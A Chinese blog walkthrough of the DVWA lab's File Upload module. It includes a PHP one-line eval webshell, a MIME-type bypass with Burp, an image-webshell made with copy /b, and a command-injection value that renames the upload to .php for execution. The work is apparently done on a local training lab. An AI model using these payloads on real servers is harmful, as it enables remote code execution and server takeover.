Dvwa靶场-File Upload

一、Low

如果你没有上传失败的错误,可以直接跳到第三步,上传文件过大和解决方案,如果有上传失败的错误,可以参考我的前俩步,去做一些修改

(1)、上传失败之修改文件权限

尝试上传一个文件,然后我上传的是一张图片

但是上传失败

因为我知道这个dvwa靶场上传文件,存储的地方还是在本地的一个文件夹中,我以为是文件无法写入,就去先把这个文件的权限设置为完全控制,但是并没有解决问题,所以就不对这一步做过多赘述

(2)、上传失败之PHP 的临时文件转存过程出错

这俩个yes说明 文件夹权限完全没问题,DVWA 已经能识别并写入这个目录了。既然权限没问题,图片也不大,那剩下的唯一可能就是 PHP 的临时文件转存过程出错了。

在 Windows + 小皮面板(phpstudy)环境下,这通常是由于 PHP 找不到临时存放文件的位置导致的。

我的图片大小399KB,我现在是觉得比较小,但是后文还是要处理一下。

现在来检查并设置 PHP 临时目录

打开你的 php.ini 文件(在小皮面板里点击"设置"->"配置文件"->php.ini),搜索 upload_tmp_dir:

如果是这样: ;upload_tmp_dir =(前面有分号,且后面为空)。

请改成这样: upload_tmp_dir = "E:\ctf\web\phpstudy\phpstudy_pro\phpstudy_pro\WWW\dvwa\temp"

这个路径是我的dvwa靶场的路径,你的要把改成你自己的

注意: 你需要手动在 dvwa 目录下新建一个名为 temp 的文件夹。

记得重启 Apache/PHP 服务!

(3)上传失败之文件过大和解决方案

DVWA 的前端 HTML 页面里通常隐藏了一行代码,用来限制上传文件的最大值(通常被限制得很小,比如几百 KB 甚至更低)。即使你的图片只有 399 KB,如果表单限制是 100 KB,那也会限制上传。

但没必要去特意找一张小图片

我们可以直接绕过前端限制

1.打开 DVWA 的上传页面。

2.鼠标右键点击"选择文件"按钮,选择 "检查" (Inspect) 或按 F12。

在代码里找一个标签:<input type="hidden" name="MAX_FILE_SIZE" value="XXXXXX">。

双击这个 value,把它改大(比如后面多加几个 0,改成 10000000)。

关掉开发者工具,不要刷新页面,直接选择你的图片点击上传。

(4)、上传成功后,测试图片是否成功上传

可以通过在路径端口后添加你的文件路径,我的是/hackable/uploads/yx.jpg,然后就可以访问到这个图片了

也可以直接查看本地文件夹里是否有这张图片

(5)、low级别上传一句话木马并用hackbar回显数据

上传的文件完全没有任何安全检查。

简单来说,这段代码就像一个不锁门的仓库,你给它什么,它就存什么。

这是一个简单的一句话木马

php 复制代码
<?php @eval($_POST['muma']); ?>

上传成功页面如下

用刚刚打开图片的方法,打开这个一句话木马,但是页面是空白,我们需要用hackbar这种测试工具,去对木马中的post数据的提交

点击load就把当前页面的URL输入到hackbar中了,然后点击use post method,去使用post方法,在编写body的值,最后点击execute,就可以使页面回显了

但如果环境比较严格,建议加上引号,例如:muma=echo "hello";。

当看到页面回显hello时,这就显示我们在low模式下文件上传,已经被绕过,并且连接到木马,除了用这种方式去连接木马,在木马已经上传的情况下,还可以用菜刀和蚁剑去连接木马,然后去获取到对应木马所在目录的所有位置。

(6)、蚁剑连接已上传木马

如果没有蚁剑这个工具,我的另一篇博客里面有windows下载教程,可以去下载一下

1.打开蚁剑,右键之后,点击添加数据,就出现下面这个页面

2.把url复制过来,然后连接密码就是一句话木马中的muma,这个muma是我自己的,你的如果和我不一样,就自己改一下

php 复制代码
<?php @eval($_POST['muma']); ?>

输入完这俩条关键信息之后,点击测试连接

连接成功之后,点击测试连接左边的左边的添加,就出现下面这个页面

双击这个地址,就可以看到所有的目录信息了

二、Medium

首先直接把那个一句话脚本再次上传一下

发现它只接受jpeg和png的文件类型

所以猜测它在代码里对文件类型有做检测,一般是在请求响应中表现为对MIME类型的检测

https://www.runoob.com/http/mime-types.html

这个网址有对MIME类型进行讲解

因为MIME类型是在前端的请求响应中进行判别的,所以可以使用bp抓包

抓到包后,把这个请求发送到重放器中

然后把Content-Type: 后面的值改为image/jpeg,点击发送,

一句话木马就上传成功了,上传成功后,就可以用hackbar或者菜刀,蚁剑去连接这个木马

三、High

高模式下的安全检测会更严格一些,我们可以通过制作图片马,就是在图片里面去插入木马,然后把木马上传到对方服务器

(1)、制作图片马的步骤

1.先打开cmd,进去自己存放这个图片和一句话木马的文件夹下

2.然后再当前目录下执行下面操作

copy yx.jpg/b + 1.php/a muma.jpg

yx.jpg 换成自己的图片,1.php也换成自己的木马

在 Windows 的 copy 命令中,参数 /b(二进制)和 /a(ASCII)的位置会影响合成逻辑

如果是用上面的方法合成图片马的话,木马代码会被写在图片的 最后面

3.检查

用记事本去打开图片,直接拉到最后面,可以看到一句话木马在最后

(2)、上传图片马

因为这是高级模式,所以他的后端校验比较严格,就是不能绕过前端校验,我合成的图片马大小是399kb,它限制是100kb,所以我又重新合成了一个图片马,然后才上传成功

因为图片不能直接连接木马去执行,所以用不了hackbar和蚁剑等工具,所以需要在dvwa靶场中找到其他漏洞吧图片转化成可执行文件

(3)、利用dvwa靶场的Command Injection命令注入

利用它把上传到靶场的muma1.jpg转化成muma1.php

DVWA 靶场下命令注入界面可以输入 IP 提交,然后后台会执行 ping 操作,在命令注入时和 SQL 注入类似,能够通过或语句进行命令拼接,使它按照攻击者的意图来执行命令。

命令可以拼接为:127.0.0.1|move ../../hackable/uploads/muma1.jpg ../../hackable/uploads/muma1.php

这使得原来的 muma1.jpg 被改名为 muma1.php 因此可以再次通过之前 Hackbar 或 蚁剑的方式连接到木马。至此 DVWA 靶场的文件上传漏洞都能被绕过成功,并连接到了上传的木马。

当我看到这种情况时,我还以为错了呢,但是我用hackbar连接,发现成功出现hello了

同样用蚁剑也可以,就不做过多赘述了

(4)、乱码问题修改

先找到这个文件

打开它之后,ctrl+f搜索**header,**找到第二行的charset,把后面的utf-8改成GBK

然后回到命令注入,我会瞬移,重新把那个语句执行一下,发现乱码说的是这个意思

至此关于dvwa靶场的文件上传就结束了,如有瑕疵或不理解的地方,请私信我,谢谢

相关推荐
宋浮檀s8 小时前
春秋云镜——CVE-2020-25540
网络·安全·web安全
郑洁文8 小时前
面向Web安全的Python渗透测试系统设计与实现
python·安全·web安全
woniu_buhui_fei12 小时前
常见的网络攻击
web安全
WangX-西石油15 小时前
DVWA靶场Low级别Brute Force学习
学习·web安全·网络安全
小熊officer15 小时前
网络渗透(Network Penetration)
网络·安全·web安全
Dreamboat¿16 小时前
Web 框架识别全攻略(含 Spring Boot、Django、Laravel 等)
web安全
小熊officer17 小时前
网络渗透和网络安全
网络·安全·web安全
上海云盾第一敬业销售21 小时前
服务器遭受攻击的应对策略及快速防护实践
运维·服务器·web安全·ddos
其实防守也摸鱼2 天前
告别单个变量,用列表和字典批量管理你的 Python 数据
开发语言·网络·软件测试·python·web安全·数据结构,编程教程
路baby2 天前
2026第十届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·密码学·ctf·misc·御网杯